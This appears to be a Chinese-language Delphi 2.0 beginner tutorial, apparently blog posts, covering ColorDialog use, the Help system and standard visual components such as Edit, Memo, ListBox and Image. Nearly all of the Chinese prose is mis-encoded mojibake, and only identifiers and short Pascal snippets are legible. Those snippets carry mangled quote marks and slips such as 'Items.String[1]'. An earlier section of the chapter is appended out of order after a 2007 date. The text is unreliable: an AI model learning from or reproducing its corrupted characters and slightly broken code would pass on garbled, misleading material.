1.2.5.2 ʹÓÃÑÕÉ«±à¼¶Ô»°¿ò¡¡
ͼ±ê°´Å¥¡°Color¡±Òª¿ØÖƲ¿¼þShape1µÄÑÕÉ«£¬ÎÒÃÇ¿ÉÒÔµ÷ÈëÑÕÉ«±à¼¶Ô»°¿ò£¬ÓÃÒÔÑ¡ÔñÒª±ä³ÉµÄÑÕÉ«¡£Õâʱ¾ÍÒªÓõ½ÔËÐÐʱ²»¿ÉÊӵIJ¿¼þColorDialogÁË¡£Í¬ÑùµØÊ¹Í¼±ê°´Å¥BitBtn1ÏìÓ¦OnClickʼþ£¬ÔÚËüµÄ¹ý³ÌÖмÓÈëÒÔϵÄÓï¾ä£º
¡¡¡¡ColorDialog1.Execute;
¡¡¡¡Shape1.Brush.Color := ColorDialog1.Color;¡¡
ÕâÑù£¬Í¼±ê°´Å¥µÄ¹¦ÄÜÒ²¾ÍÍê³ÉÁË¡£
³õѧÕß¿ÉÄܶÔÕâÑùµÄ³ÌÐò¶Î²»ÄÜÀí½â¡£ÆäʵҲÊÇÊ®·Ö¼òµ¥µÄ¡£²é¿´ColorDialogµÄBrushÊôÐÔ£¬¾Í»á·¢ÏÖËüÊǸö¼¯ÊôÐÔ£¬ÔÚÆäÏ»¹ÓÐÒ»¸öColorÑ¡ÏÕýÊÇÎÒÃÇÏë¸Ä±äµÄÊôÐÔ¡£¼ÈÈ»ÎÒÃÇÏ뽫ͼÐεÄÑÕÉ«±äµÃ¸ü¼Ó·á¸»¶à²Ê£¬Ëü±¾ÉíÌṩµÄ¼¸ÖÖÑÕÉ«¾ÍÒѲ»ÄÜÂú×ãÒªÇóÁË¡£ÓÃÑÕÉ«±à¼Æ÷¿ÉÒԵõ½¸ü¶àµÄÉ«²Ê¡£³ÌÐòµÄµÚÒ»¾äÓÃExecute·½·¨£¬Ê¹µÃColorDialogÔËÐÐËü±¾Éí¡£µ±Óû§ÔÚ¶Ô»°¿òÖнøÐвÙ×÷£¬Ñ¡¶¨ÁËÒ»ÖÖÑÕɫʱ£¬¼´Ê¹µÃTColorDialog¶ÔÏóµÄÒ»¸öÊôÐÔColorÖÃΪѡ¶¨ÑÕÉ«µÄÖµ¡£½«´ËÖµ¸³¸øShape1µÄBrushÊôÐÔµÄ×ÓÊôÐÔColor£¬¾Í½«Ñ¡¶¨µÄÑÕÉ«¼Óµ½ÁËͼÐÎÉÏ¡£
¶ÁÕßµÄÒªÇó¿ÉÄÜ»áÊÇ£¬ÔõÑù¾¡¿ìµÄÁ˽âÕâЩÕâЩ·½·¨¡¢ÊôÐÔºÍÓòÄØ£¿ÏÂÎĶÔʹÓÃÁª»ú°ïÖúµÄ¼òµ¥½éÉÜ¿ÉÄÜ»á¶ÔÄúÓÐËùñÔÒæ¡£¡¡
1.2.6 ʹÓÃÁª»ú°ïÖúHelp¡¡
ÊÂʵÉÏ£¬Ê¹ÓÃÁª»ú°ïÖúÊÇÄúÈ«ÃæµØÁ˽â¿ÉÓõķ½·¨¡¢¶ÔÏóµÄÓò¡¢ÊôÐÔµÈÐÅÏ¢µÄ×î¿ì½Ý;¾¶¡£Äú»¹¿ÉÒԲο¼Delphi¸ø¶¨µÄÀý³Ì¡£½ÏΪ¼òµ¥ÓÐЧµÄ·½·¨ÊÇʹÓÃHelpÖеÄËÑË÷¹¦ÄÜ¡£Èç¹ûÄú¶ÔÒ»¸ö¶ÔÏóÖªÖ®ÉõÉÙ£¬Ñ¡ÓÃÖ÷²Ëµ¥ÖеÄHelp|Help TopicsÏÔÚµ¯³öµÄ°ïÖú¶Ô»°¿ò£¬Ñ¡ÓÃIndexes(¡°Ë÷Òý¡±)Ò³£¬Delphi 2.0»áÌáʾÄúÊäÈëÒª¼ìË÷µÄÖ÷Ìâ¡£ÒÔÄúÏëÓõIJ¿¼þµÄ¶ÔÏóÃû×÷Ϊ¼ìË÷Ö÷Ìâ´Ê£¬¿ÉÒÔ²ÎÔĺܶà»ù±¾µÄÐÅÏ¢¡£ÀýÈ磬ÉÏÎĵÄÀý³ÌÖУ¬Ôڱ༿òÖмüÈë¶ÔÏóµÄÃû³ÆTColorDialog£¬ÔÚ´ÊÌõÖоͻá³öÏÖ¸ÃÖ÷Ì⣬°´¶¯Display°´Å¥ÏÔʾ³öTColorDialogµÄ°ïÖúÐÅÏ¢¡£²é¿´method,¿ÉÒÔÕÒµ½ÄÜÓ¦ÓÃÔÚCclorDialog1Éϵķ½·¨Execute;×ÐϸÔĶÁËüµÄ¹¦ÄÜ£¬ÉÏÊöµÄ±à³Ì±ã²»ÄÑÀí½âÁË¡£PropertiesÖÐÌṩÁ˲¿¼þµÄËùÓÐÊôÐÔ£¬ÔڹؼüÊôÐÔKey Propertiesǰ¼ÓÉÏÁË¡°½ðÔ¿³×¡±£¬ÌṩÁËÏ꾡µÄ˵Ã÷¡£ÔÚTaskÖÐÄú¿ÉÒÔ²éÔĸöÔÏóµÄÆäËüÏà¹ØÖ÷Ì⣬»¹¿ÉÒÔ²ÎÔÄExampleÖеÄÓ¦ÓÃÀý³Ì¡£ÓðïÖú´°¿ÚµÄEdit¸÷ÖÖ¹¦ÄܽøÐи´ÖÆ¡¢¼ôÌùµÈ²Ù×÷¡£
Èç¹ûÄúÒѾ¶Ô¶ÔÏóÓÐÒ»¶¨µÄÁ˽⣬Ïë²éÔÄËüµÄ¾ßÌå·½·¨¡¢ÓòµÈ£¬¿ÉÒÔÖ±½ÓÓÃÖ÷Ìâ´Ê½øÐмìË÷¡£¡¡
ÒÔÉÏ£¬ÎÒÃÇÒѾÍê³ÉÁ˼òµ¥µÄÀý³Ì¡£ÔËÐÐÄúµÄ³ÌÐò£¬Ñ¡Óø÷¸ö°´Å¥¸Ä±äͼÐεÄÑÕÉ«ºÍÐÎ×´¡£Èçͼ1.9Ëùʾ¡£ËäÈ»ËüÖ»ÊÇÒ»¸ö¡°Ð¡Íæ¾ß¡±£¬È´Ö±¹ÛµØ¸øÄúÒ»¸öÓÃDelphi±à³ÌµÄÓ¡Ïó¡£¶Ô±ÈÒ»ÏÂÄúÇ×ÊÖ±àÖÆµÄ³ÌÐòÁ¿ºÍ³ÌÐòµÄ¹¦ÄÜ£¬Äú¾Í»áÀí½âDelphiΪ³ÌÐòÔ±ÌṩÁËÔõÑùµÄ·½±ã¡£
1.3 Delphi 2.0µÄ¿ÉÊÓ»¯²¿¼þÓ÷¨¼ò½é¡¡
±¾½ÚÖУ¬ÎÒÃǽ«½ÏΪÉîÈëµØ½²½âDelphiµÄ²¿¼þ¡£ÕâÊDZàÖÆ´óÐ͸´ÔÓÓ¦ÓóÌÐòµÄ±ØÓÉ֮·¡£ÏÂÃæ£¬ÎÒÃǽ«¶Ô¸÷ÖÖ²¿¼þ·ÖÀà½øÐмòµ¥µÄ½éÉÜ£¬ÒÔ±ãÓÚÄúÔÚ±à³ÌʱÄܹ»½Ï¿ìµØÁ˽âÓÐÄÄЩ²¿¼þ¿ÉÄÜ»áÂú×ãÄúµÄÒªÇ󣬲¢¶ÔÆäÖØÒªµÄ·½·¨¡¢ÊôÐÔµÈÓÐÒ»¸ö´óÖµÄÁ˽⡣
¡¡¡¡»ù±¾¼¼ÇÉ¡¢¹¤¾ßµÄ½éÉÜÔÚ±¾ÕµĵÚ4½ÚÖУ¬½»»¥ÔĶÁÕâÁ½²¿·Ö£¬¶à´´ÖƼ¸¸öÊÔÑé³ÌÐò£¬ÓÐÖúÓÚÄúѸËÙ½øÈëDelphiÊÀ½ç£¬¾¡Ô罫ÕâÒ»¾«ÃîÈí¼þÓÃÓÚʵ¼Ê¹¤×÷ÖС£¡¡
1.3.1 ³£ÓõÄÎı¾Ïà¹Ø²¿¼þ¡¡
ÒÔϵIJ¿¼þÒÔ¸÷ÖÖ¸ñʽÏÔʾÎı¾£¬ÆäÖÐÓÐЩÊÇÎı¾ºÍÊý¾ÝÊäÈëµÄ;¾¶¡£ËüÃÇÊÇLabel(±êÇ©)¡¢Edit(Îı¾±à¼)¡¢MaskEdit(¸ñʽ±à¼)¡¢Memo(±¸×¢)¡¢List Box(Áбí¿ò)¡¢Combo Box(×éºÏ¿ò)¡£³ýÁËMaskEditÔÚAdditionalÒ³Ö®Í⣬ÆäËüµÄ¶¼ÔÚStandardÒ³ÖС£¡¡
1.3.1.1 Label²¿¼þ¡¡
Label(±êÇ©)Ò»°ã·ÅÔÚ¶ÔÏóµÄÅԱߣ¬ÓÃÀ´±ê¼ÇÕâЩ¶ÔÏ󣬴Ӷø¶ÔÓû§µÄ²Ù×÷½øÐÐÌáʾ£¬Ò²¿ÉÒÔÓÃÀ´ÏÔʾÆäËüÐÅÏ¢¡£Äú¿ÉÒÔÔÚ±êÇ©ÖÐÉèÖÃÈȼü£¬Ò²¼´ÔÚCaptionÊôÐÔÖµ¶ÎÖÐÊäÈ뺬ÓС°&¡±µÄ×Ö´®£¬µ±Óû§Ê¹Óá°Alt+¹Ø¼ü×Öĸ¡±Ê±£¬½«×Ô¶¯Ñ¡ÖÐËüËùÖ¸ÏòµÄ¶ÔÏó¡£·½·¨ÊÇÉèÖÃLabel²¿¼þµÄFocusControlÊôÐÔ£¬ÔÚÖµ¶ÎÖУ¬Ñ¡ÓÃÓëËü¹ØÁª¶ÔÏóµÄ¶ÔÏóÃû¡£¡¡
1.3.1.2 Edit¡¢MaskEditºÍMemo²¿¼þ ¡¡
Edit¡¢MaskEdit¡¢Memo²¿¼þ¶¼ÊÇÓÃ×÷½ÓÊÕ¡¢ÏÔʾÓû§ÊäÈëÎı¾µÄ¡£ËüÃǾßÓÐһЩÏàͬµÄÊôÐÔ¡£ReadOnlyÔÚÔËÐÐʱ¼äÄÚ¿ØÖƶÔÏóÊÇ·ñ¿ÉÒÔ½øÐÐWindowsµÄ²Ù×÷£¬µ±´ËֵΪFalseʱ£¬¸Ã¿òÄÚµÄÎı¾¾Í²»Äܱ»¸´ÖƵ½¼ôÌù°åÉÏ¡£MaxLength¿ÉÒÔÉèÖÃÊäÈëÎı¾µÄ³¤¶ÈÏÞÖÆ¡£ÓÃPasswordCharÊôÐÔ¿ÉÒÔ°´ÕÕÏÔʾÒþ±ÎÃÜÂëµÄ·½·¨ÏÔʾÓû§ÊäÈëÎı¾£¬ÀýÈ磬ËüµÄȱʡֵΪ¡°*¡±£¬ÔËÐÐʱ£¬ÄúµÄÊäÈ뽫Óá°*¡±À´ÏÔʾ£¬´Ó¶øÌṩÁËÒ»ÖÖ°²È«´ëÊ©¡£Äú¿ÉÄÜÒ²·¢ÏÖÁË£¬µ±Ò»¸ö×ֶα»¼ÓÉϸßÁÁ¶ÈÏÔʾʱ£¬°´¼ü²Ù×÷»á½«ÕâÒ»×Ö¶Îɾ³ý£¬Ìæ»»³Éµ±Ç°µÄ¼üÅÌÊäÈë¡£ÕâÖÖÉèÖÃΪ²Ù×÷ÌṩÁË·½±ã£¬Äú²»±ØÃ¿´ÎÏÈɾ³ýÔÀ´µÄÎı¾£»µ«Ò²¿ÉÄܻᵼÖÂÎóɾÎı¾¡£½«AutoSelectÊôÐÔÉèÖóÉFalse£¬ÕâÖÖÌæ´ú¹¦Äܾͱ»È¡ÏûÁË¡£
MaskEditÊǸñʽÎı¾ÊäÈë¶ÔÏó¡£ËüµÄEditMaskÊôÐÔΪËüÌṩÁ˹ýÂËÎı¾µÄ¸ñʽ¡£µã¶¯ÕâÒ»ÊôÐÔµÄÊ¡ÂÔ°´Å¥£¬»áµ¯³ö¹ýÂ˱༶Ի°¿ò£¬³ýÁËDelphiΪÄúÌṩµÄ¼¸ÖÖÆÁ±Î¸ñʽ£¬ÄúÒ²¿ÉÒÔ×Ô¼º±àд£¬²éÔÄ¡°°ïÖú¡±£¬»áΪÄúÌṩ¸üÏêϸµÄÓ÷¨½éÉÜ¡£
MemoÊDZ¸×¢¿ò£¬ÓëÒÔÉ϶ÔÏó²»Í¬µÄÊÇ£¬Ëü¿ÉÒÔ½ÓÊÕ¶àÐÐÎı¾ÊäÈë¡£½«ScrollBarsÉèÖóÉssVertical£¬¿ÉÒÔΪËü¼ÓÉÏÒ»¸ö´¹Ö±µÄ¹öÐÐÌõ¡£AlignÊôÐÔµ÷Õû¸Ã¶ÔÏóÔÚ´°¿ÚÖÐµÄ¶ÔÆëÇé¿ö£¬ÓÐalNone(ÎÞ¶ÔÆëÖ¸¶¨)¡¢alBottom(µ×²¿¶ÔÆë)¡¢alClient(È«´°¿ÚÏÔʾ)µÈ¿ÉÒÔÑ¡Ôñ£»¶øAlignmentÊôÐÔÔò¾ö¶¨ÁËÎı¾ÔÚ¿òÖÐµÄ¶ÔÆëÏÔʾ¸ñʽ¡£LinesÊôÐÔ·ÃÎʵÄÎı¾±»´æ´¢ÔÚÒ»¸öTStrings¶ÔÏóÖУ¬°´¶¯ËüµÄÊ¡ÂÔ°´Å¥£¬¿ÉÒÔͨ¹ý¶Ô»°¿òÏòËüÔö¼ÓÎı¾£¬Ò²¿ÉÒÔÓóÌÐò¶ÔÕâÒ»ÊôÐÔ½øÐвÙ×÷£¬ÒÔ´ïµ½Ð޸ĻòÔö¼Ó±¸×¢Îı¾µÄÄ¿µÄ¡£¡¡
1.3.1.3 List BoxºÍCombo Box²¿¼þ¡¡
List Box(Áбí¿ò)ºÍCombo Box(×éºÏ¿ò)¶¼ÏÔʾÁбíÏîÄ¿£¬Ëù²»Í¬µÄÊÇ×éºÏ¿òÕ¼ÓýÏÉٵĿռ䡣³£¼ûµÄWindows²Ù×÷ϵͳÖУ¬ÏÔʾ¿ÉÓôÅÅÌÇý¶¯Æ÷ʱ£¬ÓõľÍÊÇ×éºÏ¿ò¡£Áбí¿òÔòÌṩÁËÒ»¸öÏîÄ¿ÁбíÒÔ¹©Ñ¡Ôñ£¬ÈçWindows´ò¿ªÎļþ²Ù×÷ʱÏÔʾÎļþÁбíµÄ¾ÍÊÇList Box¡£
¡¡¡¡ÏÂÁгÌÐò¶Î½«Edit1µÄÎı¾¼ÓÈëµ½ListBox1ÖУ¬²¢Çå¿ÕEdit1ÖеÄÎı¾£º¡¡
¡¡procedure TForm1.AddButtonClick(Sender:TObject);
¡¡begin
ListBox1.Items.Add(Edit1.text);
Edit1.Text := ¡®¡¯;
¡¡end;¡¡
³£¼ûµÄ×éºÏ¿ò³õʼ»¯ÓÃÒÔϵÄÓï¾ä¿ÉÒÔʵÏÖ£¬ËüÓÃÏÂÀʽÁбí¿òµÄµÚÒ»ÏîÀ´³õʼ»¯×éºÏ¿òµÄȱʡֵ£º¡¡
procedure TForm1.ComboBox1Text(Sender:TObject);
begin
if ComboBox1.Text = ¡®¡¯then
ComboBox1.Text := ComboBox1.Items.String[1] ;
¡¡¡¡¡¡end;
ÒÔÉϾÍÊÇÎı¾ÊäÈëµÄ»ù±¾²¿¼þ¡£¡¡
1.3.2 °´Å¥ºÍ¼ì²é¿ò²¿¼þ¡¡
1.3.2.1 ButtonºÍBitBtn²¿¼þ
°´Å¥ÊÇWindows³£ÓõIJ¿¼þ£¬Ç°ÎĵÄÀý³ÌÖÐÎÒÃÇÒѾ»ù±¾ÕÆÎÕÁËButtonºÍBitBtnµÄÖ÷ÒªÓ÷¨¡£ËüÃÇÒ»°ãÓÃÔÚ¶Ô»°¿òÖУ¬×öΪִÐÐijÖÖ¹¦ÄܵÄָʾ¡£ÄúÒ²¿ÉÒÔΪËüÃÇÉèÖÃÄÚÖ÷µ»Ø¹¦ÄÜ£¬½«ModelResultÊôÐÔ¼ÓÒÔÆ¥Å䣬¿ÉÒÔ²»Óñà³Ì£¬Ö±½ÓʵÏÖϵͳÄÚÖõŦÄÜ£¬ÕâÒ»µãÉϺÍKindÊôÐÔÆÄÀàËÆ¡£¡¡
1.3.2.2 Speed Button²¿¼þ¡¡
Speed Button(¼ÓËÙ°´Å¥)²¿¼þÔÚAdditionalÒ³ÉÏ£¬ÊǽøÐй¤¾ßÌõ¿ìËÙÉè¼ÆµÄÀíÏ벿¼þ¡£ËüÖ»ÓÐÒ»¸öλͼ£¬Ã»ÓбêÌâ¡£ÐèÒªÌáÆð¶ÁÕß×¢ÒâµÄÊÇ£¬Óöà¸öSpeed ButtonÖÆ×÷Ò»¸ö¹¤¾ßÌõʱ£¬±ØÐëÏÈ·ÅÖÃÒ»¸ö´°¿ÚÀಿ¼þ£¬ÈçPanel(²Ù×÷°å)¡¢Group Box(Ⱥ×é¿ò)µÈ¡£·ñÔòÊÔͼ½«¼ÓËÙ°´Å¥ÏÈÖÆ×÷ºÃÔÙÒÆÉÏÈ¥£¬Äú»á·¢ÏÖËü»á×ÜÊÇ´¦ÓÚ´°¿ÚÀಿ¼þÏÂÃæ²»¿É¼û¡£µ±È»£¬Äú¿ÉÒÔ¶Ô¼ÓËÙ°´Å¥½øÐи´ÖÆ¡¢Õ³Ìùµ½´°¿ÚÀಿ¼þÉÏ´¦Àí£¬ÄǾÍÁíµ±±ðÂÛÁË¡£¡¡
1.3.2.3 Check BoxÓëRadio Button²¿¼þ¡¡
Check Box(¼ì²é¿ò)ºÍRadio Button(ÎÞÏß°´Å¥)²¿¼þͨ³£ÊÇÏàÌá²¢Â۵쬶àÓÃ×÷½ÓÊÕÓû§¡°ÊÇ¡±»ò¡°·ñ¡±µÄÊäÈëÅбð¡£ËüÃÇÒ»°ã¶¼ÊdzÉ×éµÄ·ÅÖÃÔÚRadio Group»òGroup Box²¿¼þÖС£Ëù²»Í¬µÄÊÇ£¬³É×éµÄRadio ButtonÊÇ¡°»¥Ëø¡±µÄ£¬Óû§Ñ¡Ôñ¶¨Ò»¸öºó£¬ÆäËüµÄ½«×Ô¶¯ÉèÖÃΪ²»Ñ¡£»¶øCheck Box²¿¼þÔòÊÇ·ÖÁ¢µÄ£¬Äú¿ÉÒÔͬʱѡÖÐÆäÖеö£¬Ò²¿ÉÒÔÒ»¸ö¶¼²»Ñ¡¡£¡¡
1.3.3 ·Ö×é¡¢·Ö½ç²¿¼þ¡¡
·Ö×鲿¼þ°ÑÆäËüµÄ²¿¼þ×éºÏ³ÉÒ»×飬ÀýÈçÉÏÊöµÄÎÞÏß°´Å¥²¿¼þRadio Button£¬¾ÍÐèÒª·ÅÈëÒÔϵijÉ×鲿¼þÖС£·Ö½ç²¿¼þÓÃÓÚÔÚ´°¿ÚÖвúÉú±ß½çºÍÇøÓò£¬ÒÔÇø±ðÓÚÆäËüÇøÓò¡£¡¡
1.3.3.1 Group Box¡¢Radio Group¼°Panel²¿¼þ¡¡
Group Box(Ⱥ×é¿ò)¡¢Radio Group(Ñ¡Ïî°´Å¥×é)²¿¼þ¶¼¿ÉÒÔ½«²¿¼þ·ÖÀà¡¢³É×é¡£ËüÃǶ¼ÓбêÌ⣬¿ÉÒÔÓÃÎÄ×Ö±íÕ÷³É×鲿¼þµÄ±êÌâ»òÐÅÏ¢¡£Radio Group¿ÉÒÔ½øÐÐColumnºÍItemÊôÐÔµÄÉ趨£¬ÒÔ¾ö¶¨ÆäÉϵÄÎÞÏß°´Å¥µÄÌáʾÎı¾¼°ÏÔʾ¸ñʽ¡£Panel²¿¼þÒ²¿ÉÒÔ´ïµ½½«²¿¼þ·Ö×éµÄÄ¿µÄ¡£Í¨¹ý±à³ÌÏò´°¿Ú¼ÓÒ»¸ö²Ù×÷°å²¿¼þ£¬ÒÔÊéдÌáʾºÍ°ïÖúÐÅÏ¢£¬Ò²²»Ê§ÎªÒ»Öֺ÷½·¨¡£ÒÔÉÏÈý¸ö²¿¼þ¶¼ÔÚStandardÒ³¡£¡¡
1.3.3.2 NoteBook¡¢TabSet¼°TabbedNoteBook²¿¼þ¡¡
¼Çʱ¾²¿¼þNoteBookÒ»°ãºÍ±êÇ©¼¯²¿¼þTabSet¹²Í¬Ê¹Óã¬ÓÃÀ´´´Öƺ¬ÓбêÇ©µÄÖØµþ¶à´°Ìå´°¿Ú¡£PagesÊôÐÔ°üº¬ÁËÒ»¸öÒ³ÃûÁÐ±í£¬ÔÚ±à³Ìʱ£¬½«TabSetµÄTabsÊôÐÔÉèÖóÉNoteBookµÄPagesÊôÐÔ£¬¾Í¿ÉÒÔʹҳ±êÇ©ºÍÏàÓ¦µÄ´°Ìå¶ÔÓ¦ÆðÀ´¡£
ÁíÍâÒ»¸ö²¿¼þTabbedNoteBookÊÇ´øÓбêÇ©µÄ¶à´°Ìå´°¿Ú£¬²»¹ý£¬ËüµÄÒ³±êÇ©ÉèÔÚ´°¿ÚµÄÉÏÃæ¡£ËüÃÇÏ൱ÓÚ¶à¸ö·Ö×鲿¼þµÄ¼¯ºÏ£¬Ã¿´Î²é¿´ÆäÖеÄÒ»Ò³¡£ÒÔÉÏÈý¸ö²¿¼þÔÚWin 3.1Ò³¡£
ÔÚWin95Ò³ÉÏ»¹ÓÐTabControl¡¢PageControlµÈ²¿¼þ¡£ËüÃǶÔÓÚÉú³ÉWindows 95·ç¸ñµÄ±êÇ©¼¯ÊǺÜÖØÒªµÄ¡£¡¡
1.3.3.3 ·Ö½ç²¿¼þ¡¡
ÔÚWin 3.1Ò³ÉÏ£¬»¹ÓÐHeader(±íÍ·)²¿¼þ£¬ËüÔÚ´°¿ÚÖвúÉúÒ»¸ö͹ÆðµÄÌâÌõ£¬ÌṩÁËÒ»¸ö¿ÉÊÓ»¯µÄÎı¾ÏÔÊ¾ÇøÓò¡£AdditionalÒ³µÄBevel(Á¢Ìå¿ò)²¿¼þÌṩÁËÒ»¸ö·½¿ò£¬ËüµÄµ¥Ò»ÏßÌõ»òÕû¸ö±ß¿ò¶¼¿ÉÒÔͨ¹ýStyleÊôÐÔÉèÖÃΪÍâ͹»òÄÚ°¼£¬¿ÉÒÔÃÀ»¯´°¿Ú¡£ÔÚWin95Ò³ÉÏ£¬HeaderControl¡¢StatusBarµÈ²¿¼þ£¬ÎªÄúʹÓÃWinows95·ç¸ñµÄ½çÃæÌṩÁËÖØÒªÔªËØ¡£¡¡
1.3.4 ͼÐΡ¢Í¼Ï󲿼þ¡¡
1.3.4.1 Image²¿¼þ
ͼÏ󲿼þImageÔÚAdditionalÒ³ÉÏ£¬ÓÃÀ´ÔÚ´°¿ÚÖÐÏÔʾһ·ùͼƬ£¬¿ÉÒÔÔÚpictureÊôÐÔÖе÷ÈëͼÏóÎļþ¡£DelphiÖ§³Öλͼ(.BMP)¡¢Í¼±ê(.ICO)¡¢Í¼Ôª(.WFM)ÈýÖÖÎļþ¸ñʽ¡£±È½ÏÖØÒªµÄÊôÐÔÊÇAutosizeºÍStrech¡£ËüÃǾö¶¨ÁËͼÏóÔÚ´°¿ÚÖеÄÏÔʾ³ß´ç¡£AutosizeÊôÐÔΪTrue±íʾ°´Ô³ß´çÏÔʾ£¬StrechÊôÐÔΪTrue±íʾͼÏó°´¶ÔÏóͼ¿òµÄ´óСÏÔʾ£¬ÕâʱͼÏóµÄ´óС¿ÉÒÔÈËΪ¸Ä±ä¡£
¡¡
-
µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨¶þ£©
2007-05-28 16:22:06
µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨¶þ£© 1.2.3 Éè¼Æ¼òµ¥µÄÓû§½çÃæ¡¡
Ê×ÏÈ´Ó¿Õ°×´°Ì忪ʼ¹¤×÷¡£ÎÒÃǽ«Éè¼ÆÒ»¸ö¼òµ¥µÄ³ÌÐò:ÔÚÆÁÄ»ÉÏ¿ªÒ»¸ö´°¿Ú£¬´°¿ÚÖÐÓÐÒ»¸öͼ¿ò£¬ÓÃÈý¸ö°´Å¥À´¸Ä±äͼ¿òµÄÐÎ×´£»ÔÙÓÃÒ»¸öͼ±ê°´Å¥À´½øÐÐͼ¿òµÄÑÕÉ«ÉèÖã¬Í¨¹ýÑÕÉ«±à¼¶Ô»°¿òÀ´Ñ¡Ôñ±ä³ÉÄÄÒ»ÖÖÑÕÉ«¡£
Ôڲ˵¥ÉÏÑ¡ÓÃFile|New Application²Ëµ¥ÏîÀ´Éú³ÉÐµĹ¤³ÌÎļþ¡£Õâʱ£¬ÆÁÄ»ÉϳöÏÖͼ1.2ËùʾµÄ´°Ìå¡£¡¡
1.2.3.1 ѡȡ²¿¼þ¼ÓÈëµ½´°ÌåÖС¡
²¿¼þ(Component)Êǽ¨Á¢DelphiÓ¦ÓóÌÐòµÄÒªËØ¡£DelphiΪÓû§ÌṩÁ˷ḻµÄ²¿¼þ¿â£¬¼ÈÓпÉÊӵIJ¿¼þ(Èç±à¼¿ò¡¢°´Å¥)µÈ£¬Ò²Óв»¿ÉÊӵIJ¿¼þ(Èçϵͳ¶¨Ê±Æ÷¡¢Êý¾Ý±íµÈ)¡£ËüÃǰ´ÕÕ¹¦ÄÜ·Ö±ðÅÅÁÐÔÚComponent PanelµÄ¸÷Ò³ÉÏ¡£
ÒÆ¶¯Êó±êµ½Component PanelÉÏ£¬ÔÚ²¿¼þ°´Å¥ÉÏ¡°ÓÌÔ¥¡±Ò»¡¢Á½ÃëÖÓ£¬Ò»¸ö»ÆÉ«Ð¡Ìáʾ¿ò¾Í»áµ¯³ö£¬Ð´Óиò¿¼þµÄÃû³Æ£¬ÎÒÃdzÆÖ®ÎªÌáʾ(Hint)¡£ÔÚҪѡÔñµÄ²¿¼þÉϵ¥»÷×ó¼ü£¬Ôò¸Ã²¿¼þ°´Å¥±»°´Ï£¬±íʾ²¿¼þÒѱ»µ±Ç°Ñ¡Ôñ¡£È»ºó£¬½«Êó±êÒÆ¶¯µ½´°ÌåÉÏ£¬°´ÏÂ×ó¼ü£¬¸Ã²¿¼þ±»·Åµ½´°ÌåÖС£²¿¼þµÄÂÖÀªÏßÉÏ»áÏÔÏְ˸ö±»³ÆÎª³ß´çµ÷ÕûÆ÷(Sizing Handles)µÄºÚɫС·½¿é¡£Ëü³ýÁ˹©Óû§µ÷Õû³ß´çʹÓÃÖ®Í⣬»¹¿ÉÒÔ±íʾ¸Ã¶ÔÏó´¦ÓÚµ±Ç°±à¼×´Ì¬¡£´Ëʱ£¬°´¡°Delete¡±¼ü¿ÉÒÔ½«¸Ã²¿¼þɾ³ý¡£
ÔÚComponent PanelÉÏ£¬µã¶¯Ð´ÓС°Additional¡±µÄÒ³±êÇ©£¬Çл»µ½AdditionalÒ³£¬ÔÙÒÆ¶¯Êó±ê£¬Öð¸öÓùۿ´HintµÄ°ì·¨²é¿´²¿¼þµÄÃû³Æ£¬ÕÒµ½¡°Shape¡±²¿¼þ(Æäͼ±êΪԲ¡¢·½ÐΡ¢Èý½ÇÐÎÈý¸ö¼¸ºÎÌå)£¬½«Æä·Åµ½´°ÌåµÄ×󷽡£
ÔÙ°´¶¯¡°Standard¡±Ò³±êÇ©£¬ÕÒµ½¡°Button¡±²¿¼þ(ͼ±êÉÏ»ÓÐOK°´Å¥)¡£DelphiÔÊÐíÔÚÌí¼Ó¶à¸öͬÀàÐ͵IJ¿¼þʱ£¬²»±ØÃ¿´Îµ½²¿¼þÑ¡Ïî°åÉÏѡȡ¡£°´×¡¡°Shift¡±¼ü£¬Í¬Ê±ÔÚ¡°Button¡±²¿¼þÉϵ¥»÷Êó±ê×ó¼ü£¬Õâʱ¡°Button¡±²¿¼þ´¦ÓÚ°´ÏÂ״̬£¬²¢ÓÐÀ¶É«±ß¿ò£¬±íʾÒѾ±»Ñ¡Ôñ¹Ì¶¨¡£ÒÀ´ÎÔÚ´°ÌåÓÒ·½µÄÈý¸öλÖõ¥»÷×ó¼ü£¬Ôò»á·ÅÖÃÈý¸öÏàͬµÄButton²¿¼þ¡£°ÑÊó±ê¹â±êÒÆµ½²¿¼þÑ¡Ïî°å×ó²àµÄ¼ýͷͼ±ê´¦£¬ÕâÊÇ¡°È¡ÏûÑ¡Ôñ¡±°´Å¥£¬ËüûÓÐÌáʾ¡£°´¶¯Ëü£¬»á·¢ÏÖ¡°Button¡±²¿¼þ°´Å¥»Ö¸´µ¯Æð״̬¡£·ñÔò£¬Ã¿´Î¡°Form1¡±ÉϵÄÊó±êµ¥»÷×ó¼ü¶¯×÷£¬¶¼»áµ¼ÖÂÔö¼ÓÒ»¸ö°´Å¥²¿¼þ¡£
ÔٴνøÈë¡°Additional¡±²¿¼þÒ³£¬Ñ¡ÔñÒ»¸ö¡°BitBtn¡±°´Å¥(ͼ±êÊÇÓÐÂÌÉ«¶ÔºÅµÄOK°´Å¥),°ÑËü·Åµ½ÆäËüÈý¸ö°´Å¥²¿¼þµÄÏÂÃæ¡£
µã¶¯¡°Dialog¡±Ò³±êÇ©£¬Ñ¡ÔñÒÔ16É«Íø¸ñ×öͼ±êµÄColorDialog²¿¼þ²¢°ÑËü·Åµ½´°ÌåµÄÈÎÒâλÖá£ÒòΪÕâÒ»²¿¼þÊDz»¿ÉÊÓ²¿¼þ£¬ËùÒÔËüµÄλÖò¢²»Ó°Ïì´ó¾Ö¡£¡¡
1.2.3.2 ²¿¼þµÄµ÷ÕûÓë¶ÔÆë¡¡
Ò»°ãÀ´½²£¬´Ëʱ·ÅÖõ½´°ÌåµÄ²¿¼þÊÇ·ÖÉ¢ÅÅÁе쬶øÇÒÆä´óС²»ÊÇÕæÕýÐèÒªµÄ³ß´ç¡£³ýÁ˲»¿ÉÊÓµÄColorDialog²¿¼þÍ⣬ÆäËüµÄ²¿¼þ¶¼ÐèÒª½øÐÐλÖᢴóСºÍÏÔʾ×ÖÑùµÄµ÷Õû¡£DelphiÌṩµÄ¶ÔÆë¹¤¾ßºÍ´°¿ÚÕ¤¸ñΪÕâЩµ÷ÕûÌṩÁË·½±ã¡£
1¡¢Òƶ¯²¿¼þ
